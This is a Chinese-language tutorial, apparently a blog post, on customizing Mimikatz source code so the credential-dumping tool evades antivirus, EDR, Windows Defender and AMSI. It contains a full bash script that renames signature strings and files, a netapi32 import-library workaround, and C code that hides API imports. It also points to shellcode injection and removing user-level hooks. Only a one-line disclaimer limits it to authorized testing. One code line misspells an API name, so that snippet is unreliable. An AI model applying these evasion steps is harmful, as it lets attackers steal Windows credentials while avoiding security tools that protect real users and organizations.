手工绕过AMSI-第三部分|定制 Mimikatz
字数 1192 2025-08-20 18:17:59
手工绕过AMSI:定制Mimikatz二进制文件完全指南
0x00 前言
本教程详细讲解如何通过修改Mimikatz源代码来构建定制化的二进制文件,以绕过AV/EDR的检测。我们将从基本特征修改开始,逐步深入到更高级的混淆技术。
0x01 为什么需要定制Mimikatz
- 原始Mimikatz二进制文件几乎被所有AV标记
- 直接从GitHub下载的发布版本会被拦截
- 定制化可以显著降低检测率
- 可以只保留需要的功能模块
- 能够绕过AMSI和其他安全机制
0x02 基本特征修改
必须替换的关键字符串
以下字符串是Mimikatz最明显的特征,必须全部替换:
mimikatz, MIMIKATZ, Mimikatz
DELPY, Benjamin, benjamin@gentilkiwi.com
creativecommons
gentilkiwi
KIWI, Kiwi, kiwi
修改Banner信息
原始Banner包含以下特征信息,需要修改或删除:
"A La Vie, A L'Amour"
http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX
vincent.letoux@gmail.com
http://pingcastle.com
http://mysmartlogon.com
修改方法:直接编辑mimikatz.c文件中的Banner部分。
0x03 功能模块名称修改
Mimikatz主要功能模块包括:
crypto, dpapi, kerberos, lsadump, ngc, sekurlsa
standard, privilege, process, service, ts, event
misc, token, vault, minesweeper, net, busylight
sysenv, sid, iis, rpc, sr98, rdm, acr
修改策略有两种选择:
- 随机大小写化:如
crypto→CryPto - 完全替换:如
crypto→cccccc
建议使用第一种方法,便于记忆和使用。
0x04 子功能名称修改
常用模块的子功能也需要修改,例如sekurlsa的子功能:
msv, wdigest, kerberos, tspkg
livessp, cloudap, ssp, logonpasswords
process, minidump, bootkey, pth
krbtgt, dpapisystem, trust, backupkeys
tickets, ekeys, dpapi, credman
0x05 自动化修改脚本
使用以下bash脚本自动化替换关键字符串:
#!/bin/bash
# 克隆并重命名项目
git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
# 替换基本字符串
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'
# 重命名文件和目录
find windows/ -type f -name '*mimikatz*' | while read FILE ; do newfile="$(echo ${FILE} | sed -e 's/mimikatz/windows/g')"; mv "${FILE}" "${newfile}"; done
find windows/ -type f -name '*kiwi*' | while read FILE ; do newfile="$(echo ${FILE} | sed -e 's/kiwi/onedrive/g')"; mv "${FILE}" "${newfile}"; done
# 替换函数前缀
kuhl=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)
find windows/ -type f -print0 | xargs -0 sed -i "s/kuhl/$kuhl/g"
kull=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)
find windows/ -type f -print0 | xargs -0 sed -i "s/kull/$kull/g"
# 重命名函数前缀文件
find windows/ -type f -name "*kuhl*" | while read FILE ; do newfile="$(echo ${FILE} | sed -e "s/kuhl/$kuhl/g")"; mv "${FILE}" "${newfile}"; done
find windows/ -type f -name "*kull*" | while read FILE ; do newfile="$(echo ${FILE} | sed -e "s/kull/$kull/g")"; mv "${FILE}" "${newfile}"; done
# 替换其他特征
under=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)
find windows/ -type f -print0 | xargs -0 sed -i "s/_m_/$under/g"
find windows/ -type f -name "*_m_*" | while read FILE ; do newfile="$(echo ${FILE} | sed -e "s/_m_/$under/g")"; mv "${FILE}" "${newfile}"; done
0x06 处理netapi32.dll问题
Defender会标记netapi32.dll中的以下函数:
I_NetServerAuthenticate2
I_NetServerReqChallenge
I_NetServerTrustPasswordsGet
解决方法:
- 创建
netapi32.def文件:
LIBRARY netapi32.dll
EXPORTS
I_NetServerAuthenticate2 @59
I_NetServerReqChallenge @65
I_NetServerTrustPasswordsGet @62
- 使用Visual Studio开发者控制台构建自定义库:
lib /DEF:netapi32.def /OUT:netapi32.min.lib
- 将生成的
netapi32.min.lib放入lib\x64\目录 - 重新编译项目
0x07 替换更多特征字符串
需要替换的其他关键字符串:
功能描述字符串
"Switch to MINIDUMP", "Switch to PROCESS"
"UndefinedLogonType", "NetworkCleartext", "NewCredentials"
"RemoteInteractive", "CachedInteractive", "CachedRemoteInteractive"
"CachedUnlock", "DPAPI_SYSTEM", "replacing NTLM/RC4 key in a session"
"Token Impersonation", "UsernameForPacked", "LSA Isolated Data"
标准模块字符串
"isBase64InterceptInput", "isBase64InterceptOutput"
"Credential Guard may be running", "SecureKernel is running"
DLL文件名
搜索项目中所有.dll引用并替换:
advapi32.dll
crypt32.dll
ncrypt.dll
wldap32.dll
...
0x08 高级混淆技术
1. API导入隐藏
示例:隐藏LSAOpenSecret API
typedef NTSTATUS(__stdcall* _LsaOSecret)(__in LSA_HANDLE PolicyHandle, __in PLSA_UNICODE_STRING SecretName, __in ACCESS_MASK DesiredAccess, __out PLSA_HANDLE SecretHandle);
char hid_LsaLIB_02zmeaakLCHt[] = {'a','d','v','a','p','i','3','2','.','D','L','L',0};
char hid_LsaOSecr_BZxlW5ZBUAAe[] = {'L','s','a','O','p','e','n','S','e','c','e','t',0};
HANDLE hhid_LsaLIB_asdasdasd = LoadLibrary(hid_LsaLIB_02zmeaakLCHt);
_LsaOSecret ffLsaOSecret = (_LsaOSecret)GetProcAddress(hhid_LsaLIB_asdasdasd, hid_LsaOSecr_BZxlW5ZBUAAe);
2. 错误信息修改
删除或修改详细的错误信息输出,减少特征。
3. 其他高级技术
- Syscall内联
- Shellcode注入
- 移除用户级别Hook
- 生成多态可执行文件
0x09 编译与测试
- 使用Visual Studio编译修改后的项目
- 使用DefenderCheck检查二进制文件特征:
DefenderCheck.exe mimikatz.exe
- 上传到VirusTotal验证检测率
0x0A 结论
通过本教程的方法,可以:
- 显著降低Mimikatz的AV检测率
- 绕过Windows Defender的实时保护
- 创建独特的二进制文件变体
- 根据需要定制功能模块
最终生成的定制化Mimikatz二进制文件不会触发AMSI,可以安全地集成到各种工具中,如:
- Invoke-ReflectivePEINjection
- subTee的C# PE-Loader
记住,安全研究仅用于合法授权测试,请遵守当地法律法规。